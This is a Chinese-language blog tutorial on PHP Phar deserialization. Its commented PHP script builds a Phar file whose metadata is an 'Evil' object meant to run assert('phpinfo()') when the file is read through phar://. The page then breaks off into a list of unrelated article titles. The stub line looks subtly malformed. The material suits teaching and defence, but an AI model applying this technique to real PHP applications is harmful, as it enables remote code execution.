当前位置: 首页 > news >正文

【Phar反序列化】

Phar简介

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
接下来简单了解phar的生成和结构,生成代码如下:

<?php
/*** Phar文件生成示例代码*/// 引入一个关键的类文件。这个文件里定义了一个名为 Evil的类
// Evil类包含一个 __wakeup()魔术方法
// 该方法会使用 assert()执行代码(如 phpinfo()),这是反序列化漏洞的关键。
require_once('class.php');// 创建一个Evil对象实例,传入参数'phpinfo()'
// 这个参数会被存储在 Evil对象的 $val属性中,后续在反序列化时通过 assert($this->val)执行。
$exception = new Evil('phpinfo()');// 创建一个名为"jn.phar"的Phar归档文件对象
$phar = new Phar("jn.phar");// 开始缓冲Phar写入操作,提高处理效率
$phar->startBuffering();// 向 PHAR 文件中添加一个虚拟文件 test.txt,内容为 "test"。
// 这是 PHAR 格式的要求(必须包含至少一个文件),但本身不是攻击的重点。
$phar->addFromString("test.txt", "test");// 设置Phar文件的存根(stub) - 这是Phar文件的执行入口
$phar->setStub("<?php__HALT_COMPILER(); ?>");// 设置Phar文件的元数据为之前创建的Evil对象
//将 Evil对象设置为 PHAR 文件的元数据。元数据会被自动序列化并嵌入 PHAR 文件中。
// 当 PHAR 文件通过 phar://协议被读取时(例如 file_exists('phar://jn.phar'))
// 元数据会被反序列化,触发 Evil::__wakeup()方法,从而执行 assert('phpinfo()')。
$phar->setMetadata($exception);// 结束缓冲,将所有操作写入磁盘,生成Phar文件
http://www.dtcms.com/a/424039.html

相关文章:

  • “软件测试” 是啥?像 “奶茶试喝”,讲透黑盒 / 白盒测试区别
  • 特色个人网站iis为网站子目录绑定二级域名
  • 【Linux】库的链接与加载
  • MySQL故障排查全攻略
  • 做二手房产网站多少钱深圳人为什么不想去龙岗
  • 培育新质生产力,增强发展新动能
  • 免费仓储服务上线!世强硬件创新全链条服务平台助力原厂供应商,快速触及新客户 新项目
  • 透镜曲率半径测量精度低?OAS 软件牛顿环案例解难题
  • 齐齐哈尔城市建设档案馆网站小红书seo排名
  • dede网站后台模板广州有哪些软件开发公司
  • mpich与openmpi
  • PHP多商户接入阿里云识图找商品
  • 8. Spring AI tools/function-call
  • gRPC众0到1系列【7】
  • 计算机网络技专业术网站开发怎样制作公司的网页
  • 【完整源码+数据集+部署教程】微生物菌落图像分割系统: yolov8-seg-slimneck
  • jsp做网站怎么打开玩游戏的网页
  • 个人备案域名可以做企业网站吗dedecms手机网站插件
  • 苹果上架 App 全流程详解,iOS 应用发布步骤、ipa 文件上传工具、TestFlight 测试与 App Store 审核经验
  • 网站建设中模版靖江做网站的单位
  • 协会网站信息平台建设住房和城乡建设部网站
  • 整站优化哪家专业天府健康通二维码图片高清下载
  • 静态网站是什么怎么做网站登录站
  • AI大模型是怎么工作的?从石头分类说起
  • 苹果群控系统如何做到游戏数据精准采集
  • 分布式任务调度系统中的线程池使用详解
  • pc开奖网站开发濮阳建网站
  • JWT token 简要介绍以及使用场景和案例
  • 网站在线留言怎么做行政法规
  • 语义网络(Semantic Net)对人工智能中自然语言处理的深层语义分析的影响与启示